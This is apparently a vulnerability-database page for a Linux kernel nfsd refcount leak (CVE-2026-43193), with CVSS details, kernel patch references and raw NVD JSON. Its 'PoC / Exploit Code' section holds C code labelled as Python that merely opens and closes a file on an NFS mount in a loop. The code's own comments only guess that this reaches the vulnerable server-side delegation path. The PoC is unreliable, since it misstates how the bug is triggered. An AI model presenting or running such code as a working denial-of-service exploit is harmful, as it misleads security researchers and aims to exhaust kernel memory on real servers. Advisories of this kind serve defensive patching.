CVE-2026-43193

Description

In the Linux kernel, the following vulnerability has been resolved: nfsd: fix nfs4_file refcount leak in nfsd_get_dir_deleg() Claude pointed out that there is a nfs4_file refcount leak in nfsd_get_dir_deleg(). Ensure that the reference to "fp" is released before returning.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (版本包含修复提交0d8362e15aad5b5c1d6a65bb23ac6c45ccf881f3之前的所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC Concept for CVE-2026-43193
 * This code demonstrates the logic to trigger the vulnerable path.
 * It requires a mounted NFS share supporting delegations.
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

int main() {
    // Step 1: Open a file on the mounted NFS share
    // This interaction would internally trigger nfsd_get_dir_deleg()
    // under specific delegation configurations.
    const char* nfs_file = "/mnt/nfs_share/test_file";
    
    printf("[+] Starting PoC for CVE-2026-43193\n");
    
    for(int i = 0; i < 10000; i++) {
        int fd = open(nfs_file, O_RDONLY);
        if (fd < 0) {
            perror("open failed");
            continue;
        }
        // Performing operations that might trigger delegation logic
        // In a real scenario, specific NFSv4 delegations setup is needed.
        
        close(fd);
        
        if(i % 1000 == 0) {
            printf("[+] Iteration %d completed. Memory leak potentially triggered.\n", i);
        }
    }
    
    printf("[+] PoC execution finished. Check kernel memory usage.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43193
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43193
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43193/
[4] VulDB https://vuldb.com/cve/CVE-2026-43193
[5] https://git.kernel.org/stable/c/0d8362e15aad5b5c1d6a65bb23ac6c45ccf881f3
[6] https://git.kernel.org/stable/c/789477b849394afdb60507924d65f7ef18f078ce

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43193", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:38.197", "lastModified": "2026-05-11T20:36:27.623", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: fix nfs4_file refcount leak in nfsd_get_dir_deleg()\n\nClaude pointed out that there is a nfs4_file refcount leak in\nnfsd_get_dir_deleg(). Ensure that the reference to \"fp\" is released\nbefore returning."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0d8362e15aad5b5c1d6a65bb23ac6c45ccf881f3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/789477b849394afdb60507924d65f7ef18f078ce", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}